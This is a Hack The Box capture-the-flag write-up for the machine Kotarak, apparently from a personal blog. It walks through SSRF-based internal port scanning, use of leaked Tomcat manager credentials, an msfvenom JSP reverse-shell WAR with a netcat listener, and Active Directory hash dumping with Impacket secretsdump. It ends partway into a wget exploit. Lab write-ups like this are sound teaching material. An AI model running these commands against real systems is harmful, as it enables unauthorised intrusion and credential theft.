HTB - Kotarak

Windows | SSRF | Tomcat | Impacket |

Tools For This Room

• SSRF - what is it - further explanation and exploitation here

• Tomcat Reverse Shell - list of methods to get a reverse shell on Tomcat found here

TL;DR / Executive Summary

1. Scan and enumerate with nmap and gobuster

2. Gain foothold through SSRF

3. Privesc through AD files and

Scanning & Enumeration

Let's kick off with our favorite nmap. As always, we have a full port scan in the background too.

• nmap

nmap -sV -sC -vv <IP>
sudo nmap -A -T4 -vv -p- <IP>

We get the following open ports: 22: SSH 8009: Jserv 8080: Tomcat 8.5.5

This time, our full port scan also reveals an additional open port: 60000: Apache httpd 2.4.18

Checking out port8080, we get the following 404 page.

Since it's a webserver, let's run gobuster on it and see if anything useful comes up.

• gobuster

gobuster dir -u http://<IP> -w <wordlist>

We get the following results back:

Checking out /manager tells us that it has been changed to /manager/text. When we navigate to that directory, we get a login pop up. Since we lack credentials, let's enumerate further to see if we can find just that.

We turn our attention to port60000, and get this:

None of the 3 links on the left work. We also try SQLi and LFI attacks, but those yield nothing too. Let's see if it's vulnerable to SSRF (Server Side Request Forgery).

When we enter "test" into the input field, we get the following URL.

Let's test for SSRF using the "file:///" wrapper. So we'll append the following, and we get the OffSec catchphrase. It's either a good troll or a good indication of the right path.

Now we'll try to see if we can use this to perform a loopback.

Instead of a blank page, we get the page at port60000, which means we're successful. The next step will be to see if there are other open ports which are only listening internally.

To do this, we can use Burp and use a sniper attack on ports 1 through 65535. However, as we're on the free version of Burp which is slower, the scan will finish around the same time covid-19 is no longer a threat.

Instead, we'll use wfuzz to find open ports. Here's the command:

wfuzz -z range,1-65535, http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

We'll get the following output:

However, this will be difficult to filter through, so let's add "--hl 2" to filter out responses with 2 under the Lines column. If we check out wfuzz's man page, we can see other options such as "hw" and "hh" to filter by other columns.

wfuzz -z range,1-65535, --hl 2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

We get the following ports with different responses under Payload:

Port888 gives us an interesting page.

However, clicking on the links only brings us to a blank page. Let's try to curl this and see:

curl http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup

In the following output, we get a username/password combination: admin/3@g01PdhB!

Let's use this as credentials for the login at port8080. We're in!

Gaining Foothold

Now that we've gained access to the Tomcat Web App Manager, we have a few options to get a reverse shell which can be found here.

We'll use msfvenom to create a payload, upload it to Tomcat, then execute it.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ourIP> LPORT=<port> -f war -o k1.war

Now we upload it to Tomcat through this section:

Once uploaded, our file will appear under the applications section:

We set up a netcat listener to catch our shell:

nc -lvnp <port>

Clicking on /k1 under the Path column, we get a shell.

Prior to hunting for the user.txt, let's upgrade our shell to make navigation easier.

python -c 'import pty;pty.spawn("/bin/bash")'
// ctrl+z //
stty raw -echo && fg
export TERM=xterm

Navigating to /home/atanas, we find the user.txt, but do not have permission to read it.

Let's check out user tomcat and see if there's a way to gain the privileges of atanas. Digging through tomcat, we arrive at 2 files in the pentest_data directory.

A Google search tells us what is a .dit file.

Now that we know what it is, let's move both (.dit and .bin) files to our machine so that we can extract and crack the passwords on it. We set up a server on the victim machine:

python -m SimpleHTTPServer

Now we pull our files over:

wget http://10.10.10.55:8000/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
wget http://10.10.10.55:8000/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

Let's try to extract the hashes from these files. Ropnop's blog has an excellent tutorial on this.

We'll be using Impacket's secretsdump to extract them.

impacket-secretsdump -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit LOCAL

We get the hashes of many accounts.

But we'll only focus on 2 particular user's passwords. Those are Administrator and atanas. Let's use crackstation.net to crack these for us:

Now let's try using su to switch users into atanas. Strangely enough, atanas' password doesn't work, but Administrator's does.

And we grab user.txt:

Privilege Escalation

Surprisingly, we can check out the /root directory as atanas. The reason for this soon becomes apparent when we check out flag.txt.

Another file which stands out in the /root directory is app.log.

It looks like the IP address 10.0.3.133 is reaching out to 10.10.10.55 every 2 minutes via wget. Since this is every 2 minutes, it could be a cronjob. We don't have much else to go on except the wget and its version. Checking this out via searchsploit gives us a possible exploit.

searchsploit wget 1.16

Checking out the file with RCE, it appears that we may be able to save an arbitrary remote file by writing to .wgetrc, with the version of wget being used.